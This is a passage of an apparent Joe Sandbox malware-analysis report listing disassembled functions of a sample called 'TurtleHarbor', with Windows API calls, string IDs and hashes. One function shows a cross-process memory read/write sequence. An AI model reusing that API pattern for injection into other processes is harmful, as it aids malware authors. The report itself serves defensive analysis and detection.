                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
                                            • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                                            • API String ID: 1943609520-557222456
                                            • Opcode ID: e8479ef40f912ef193b2d878d960dfebb37cf913c929e4db0d24617d770f6fa6
                                            • Instruction ID: 432efaf13f4d997f68f5bf04fd17554111c4d6e9179a2c1230dfbde2beb871c0
                                            • Opcode Fuzzy Hash: e8479ef40f912ef193b2d878d960dfebb37cf913c929e4db0d24617d770f6fa6
                                            • Instruction Fuzzy Hash: 729193715082519FC71AEF24D995C6FB7B8EF99300F41491DF8459B2A1EB30ED48CB92
                                            Function 0037BF7E Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00330284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00322A58,?,00008000), ref: 003302A4
                                            • CoInitialize.OLE32(00000000), ref: 0037BFFE
                                            • CoCreateInstance.OLE32(003A3D3C,00000000,00000001,003A3BAC,?), ref: 0037C017
                                            • CoUninitialize.OLE32 ref: 0037C034
                                              • Part of subcall function 00314D37: __itow.LIBCMT ref: 00314D62
                                              • Part of subcall function 00314D37: __swprintf.LIBCMT ref: 00314DAC
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
                                            • String ID: .lnk
                                            • API String ID: 2126378814-24824748
                                            • Opcode ID: 1c360614984d920103d294d7ca9b3e8c4ede8d61619f0751cbac2f9e9c1f6c59
                                            • Instruction ID: d76604d8db8c29cccfc2a76b7fa96bb1584616b8f2eb1b9b225c1fd932b17387
                                            • Opcode Fuzzy Hash: 1c360614984d920103d294d7ca9b3e8c4ede8d61619f0751cbac2f9e9c1f6c59
                                            • Instruction Fuzzy Hash: 98A152742042019FCB16EF64C884E5ABBE5FF89314F05899CF8999B3A2CB35ED45CB91
                                            Function 0033523D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON
                                            Download Yara Rule
                                            APIs
                                            • __startOneArgErrorHandling.LIBCMT ref: 003352CD
                                              • Part of subcall function 00340320: __87except.LIBCMT ref: 0034035B
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ErrorHandling__87except__start
                                            • String ID: pow
                                            • API String ID: 2905807303-2276729525
                                            • Opcode ID: f850aea9d475d4fca2b022956aa340c9d28b53d96821175005385b578bbe5349
                                            • Instruction ID: 33691b8c6fa44c9fe81221f6deb60d03321aef309d6f7ab309d047972e483c82
                                            • Opcode Fuzzy Hash: f850aea9d475d4fca2b022956aa340c9d28b53d96821175005385b578bbe5349
                                            • Instruction Fuzzy Hash: 9E517925F09A0197CB1BBB15C98136A7BD8DB00760F254D68E6C1CE6E5EF389CC49E42
                                            Function 00330654 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: #$+
                                            • API String ID: 0-2552117581
                                            • Opcode ID: 08d24e43695f61dfe5e2863fbca988904fc3980b6bd43d2946b7ad0a992f2090
                                            • Instruction ID: d1f311b3e7674474d08c9ce646889c0acc6d0364212e2e06feaea5c33303b885
                                            • Opcode Fuzzy Hash: 08d24e43695f61dfe5e2863fbca988904fc3980b6bd43d2946b7ad0a992f2090
                                            • Instruction Fuzzy Hash: 55512575500255CFDF1BDF68C892AFA7BA8EF55314F158055FC92AB290D734AC82CBA0
                                            Function 0031E7F7 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 161COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _memmove$_free
                                            • String ID: #V2
                                            • API String ID: 2620147621-3783035641
                                            • Opcode ID: 30423e80eb33b76ab75d7cb3d700c62dad74ebc53f5bef99f02db3e087bd364c
                                            • Instruction ID: f8fdf14cd66b724f69b97aa7efc78d3f737cd3ecf6a345c9e9fcd978909edc7e
                                            • Opcode Fuzzy Hash: 30423e80eb33b76ab75d7cb3d700c62dad74ebc53f5bef99f02db3e087bd364c
                                            • Instruction Fuzzy Hash: D8514B71A083418FDB29CF28C491B6BB7E5BF89314F15492DE98987261E732E845CB52
                                            Function 0032CF0C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _memset$_memmove
                                            • String ID: ERCP
                                            • API String ID: 2532777613-1384759551
                                            • Opcode ID: 6994141e081e00277122c74a827422d8d51ad0eef0ba244e66c7494ffd050a4b
                                            • Instruction ID: 2ac2fb9b8196fc46e41ed8fcb535aee8539ab859657909cf09998d7c1293a56e
                                            • Opcode Fuzzy Hash: 6994141e081e00277122c74a827422d8d51ad0eef0ba244e66c7494ffd050a4b
                                            • Instruction Fuzzy Hash: EA51F6719007199FDB26CF65D885BAABBF8EF04314F24C56EE94ACB251E730D985CB40
                                            Function 0036A3AD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00371CBB: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00369E4E,?,?,00000034,00000800,?,00000034), ref: 00371CE5
                                            • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 0036A3F7
                                              • Part of subcall function 00371C86: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00369E7D,?,?,00000800,?,00001073,00000000,?,?), ref: 00371CB0
                                              • Part of subcall function 00371BDD: GetWindowThreadProcessId.USER32(?,?), ref: 00371C08
                                              • Part of subcall function 00371BDD: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00369E12,00000034,?,?,00001004,00000000,00000000), ref: 00371C18
                                              • Part of subcall function 00371BDD: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00369E12,00000034,?,?,00001004,00000000,00000000), ref: 00371C2E
                                            • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0036A464
                                            • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0036A4B1
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
                                            • String ID: @
                                            • API String ID: 4150878124-2766056989
                                            • Opcode ID: d70beac163bb0714210f38717bd1d7e1a2b48dcc27ed4854e271d109c1566bc0
                                            • Instruction ID: 4905dbbbe0cd96bdadd7d0dc63dd55dba566072ea0ef3682c18e9ceff9a73cf1
                                            • Opcode Fuzzy Hash: d70beac163bb0714210f38717bd1d7e1a2b48dcc27ed4854e271d109c1566bc0
                                            • Instruction Fuzzy Hash: F0413D7294021CBFDB22DBA4CD85ADEB7B8EF45300F008095FA55BB290DA706E45CFA1
                                            Function 00397F6B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON
                                            Download Yara Rule
                                            APIs
                                            • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,003A0980,00000000,?,?,?,?), ref: 00398004
                                            • GetWindowLongW.USER32 ref: 00398021
                                            • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00398031
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Window$Long
                                            • String ID: SysTreeView32
                                            • API String ID: 847901565-1698111956
                                            • Opcode ID: c75b2dc3fef9a83bcd6459644e00986808eee18c1fa278c3dcdc16fbef5aa15a
                                            • Instruction ID: 6cad66f0e624f43761ccd3c107df15ac5f2585d52360439831f47f2f5f9f9228
                                            • Opcode Fuzzy Hash: c75b2dc3fef9a83bcd6459644e00986808eee18c1fa278c3dcdc16fbef5aa15a
                                            • Instruction Fuzzy Hash: 6731AE31214205AADF169F34CC45BEB77A9EB49324F254725F875A32E0DB31E8948B50
                                            Function 003979FE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00397A86
                                            • SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00397A9A
                                            • SendMessageW.USER32(?,00001002,00000000,?), ref: 00397ABE
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessageSend$Window
                                            • String ID: SysMonthCal32
                                            • API String ID: 2326795674-1439706946
                                            • Opcode ID: 023e97e97e72b8f4e0e6283720365f646644c5b02e2073123fa75a9b7c022a1a
                                            • Instruction ID: f71550c57bb00b647bf1d474e9b77364e8e855dc8cf15ad1e0dc92ebff6bfc79
                                            • Opcode Fuzzy Hash: 023e97e97e72b8f4e0e6283720365f646644c5b02e2073123fa75a9b7c022a1a
                                            • Instruction Fuzzy Hash: 3221A332610219BFDF269F54CC46FEE3B69EF48714F110214FE156B1D0D6B5AC549B90
                                            Function 003981B8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SendMessageW.USER32(00000000,00000469,?,00000000), ref: 0039826F
                                            • SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 0039827D
                                            • DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00398284
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessageSend$DestroyWindow
                                            • String ID: msctls_updown32
                                            • API String ID: 4014797782-2298589950
                                            • Opcode ID: 1659d17d13d3e880a0d9e42b3b0c458093dfabb4d269f268e1c80104c31f390a
                                            • Instruction ID: cd7e620fe2db824613b71bc09aa920e7bf84b17744bbff1946bc8f41a2e2175d
                                            • Opcode Fuzzy Hash: 1659d17d13d3e880a0d9e42b3b0c458093dfabb4d269f268e1c80104c31f390a
                                            • Instruction Fuzzy Hash: EF21B0B1604208AFDF02DF64DCC5DA737EDEB8A364B050459FA009B261CB30EC11CBA0
                                            Function 003972D5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00397360
                                            • SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00397370
                                            • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00397395
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessageSend$MoveWindow
                                            • String ID: Listbox
                                            • API String ID: 3315199576-2633736733
                                            • Opcode ID: 50a96ad4fe3abc8169c20790c354d4184f6cac109786877f2372f6b6928ec295
                                            • Instruction ID: 29739b7a9f983d0eec4bdb85d287a087ed2d1c2b7b62b43230da08fe5f65fafd
                                            • Opcode Fuzzy Hash: 50a96ad4fe3abc8169c20790c354d4184f6cac109786877f2372f6b6928ec295
                                            • Instruction Fuzzy Hash: E021BE32624118BFDF178F54DC85EFF37AAEB89764F128124F9449B1A0C671AC519BA0
                                            Function 00397D33 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00397D97
                                            • SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00397DAC
                                            • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00397DB9
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessageSend
                                            • String ID: msctls_trackbar32
                                            • API String ID: 3850602802-1010561917
                                            • Opcode ID: b132c5e406650d91dff22a5f92739f57f3c85dd8c75c7f67d53731dbfa353c1d
                                            • Instruction ID: 8e34108467b7c3cf5604ea160c78b9e3a1131727552987ad4fa1456ee5706f51
                                            • Opcode Fuzzy Hash: b132c5e406650d91dff22a5f92739f57f3c85dd8c75c7f67d53731dbfa353c1d
                                            • Instruction Fuzzy Hash: E4112372214208BEDF269F60CC05FEB77ADEF88B14F124128FA40A60E0D6719810CB20
                                            Function 0034B4F1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 22COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0034B544: _memset.LIBCMT ref: 0034B551
                                              • Part of subcall function 00330B74: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,0034B520,?,?,?,0031100A), ref: 00330B79
                                            • IsDebuggerPresent.KERNEL32(?,?,?,0031100A), ref: 0034B524
                                            • OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,0031100A), ref: 0034B533
                                            Strings
                                            • ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 0034B52E
                                            • =;, xrefs: 0034B514
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
                                            • String ID: ERROR : Unable to initialize critical section in CAtlBaseModule$=;
                                            • API String ID: 3158253471-1169783345
                                            • Opcode ID: 655b6a286631738a4cfcd59ab26811fe6d6e0102af713b77599ad114186b63d3
                                            • Instruction ID: ee8877402b78c0faf842509ed895cf3ebb0102b35ef5213a61e975ac86e94bc0
                                            • Opcode Fuzzy Hash: 655b6a286631738a4cfcd59ab26811fe6d6e0102af713b77599ad114186b63d3
                                            • Instruction Fuzzy Hash: 5CE06D742003218BD7269F39E404782FAE4AF19708F00895DE486CAB41EBB5E544CBA1
                                            Function 0038C6D9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            • LoadLibraryA.KERNEL32(kernel32.dll,?,0035027A,?), ref: 0038C6E7
                                            • GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0038C6F9
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: AddressLibraryLoadProc
                                            • String ID: GetSystemWow64DirectoryW$kernel32.dll
                                            • API String ID: 2574300362-1816364905
                                            • Opcode ID: 813c1b0e2584fdd42327562c557470f902af4164d2617f14d27494c1254705f6
                                            • Instruction ID: 97caa6f1628e58d65d6259eb0604cd4cb09569a08b50e052d85c3e59b4c8c902
                                            • Opcode Fuzzy Hash: 813c1b0e2584fdd42327562c557470f902af4164d2617f14d27494c1254705f6
                                            • Instruction Fuzzy Hash: 35E08C381203028FD7226B25C849A82B6D8EB05384F41946DE8C5D2220D770D8408B20
                                            Function 00391447 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            • LoadLibraryA.KERNEL32(advapi32.dll,?,00391696), ref: 00391455
                                            • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00391467
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: AddressLibraryLoadProc
                                            • String ID: RegDeleteKeyExW$advapi32.dll
                                            • API String ID: 2574300362-4033151799
                                            • Opcode ID: f75a48119c7a4e83a73f4e5aff4a5e42df3e369d11fb45f88906bd832fa5a3f6
                                            • Instruction ID: b066a86db6f0474a613265ea98980307734b052c91848cb231d873336cd867d4
                                            • Opcode Fuzzy Hash: f75a48119c7a4e83a73f4e5aff4a5e42df3e369d11fb45f88906bd832fa5a3f6
                                            • Instruction Fuzzy Hash: A3D012355107138FDB225F76C80878676E8AF06395F15C82ED4D6E2150DA70D8C0C710
                                            Function 003255F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            • LoadLibraryA.KERNEL32(kernel32.dll,?,00325E3D), ref: 003255FE
                                            • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00325610
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: AddressLibraryLoadProc
                                            • String ID: GetNativeSystemInfo$kernel32.dll
                                            • API String ID: 2574300362-192647395
                                            • Opcode ID: 89e276772502adfb5cc2b14446ab32055c6af06b3aff1766bd94ea0899e9b7f3
                                            • Instruction ID: ecdea16bea0fc3465b063ba27b6912f61153887a1a9d35fee20b7c37df2b791e
                                            • Opcode Fuzzy Hash: 89e276772502adfb5cc2b14446ab32055c6af06b3aff1766bd94ea0899e9b7f3
                                            • Instruction Fuzzy Hash: 95D05E78920B22CFE7269F31DC0879776E8EF06795F12D82ED4C6D22A1E770C880CA50
                                            Function 003897CA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            • LoadLibraryA.KERNEL32(kernel32.dll,00000001,003893DE,?,003A0980), ref: 003897D8
                                            • GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 003897EA
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
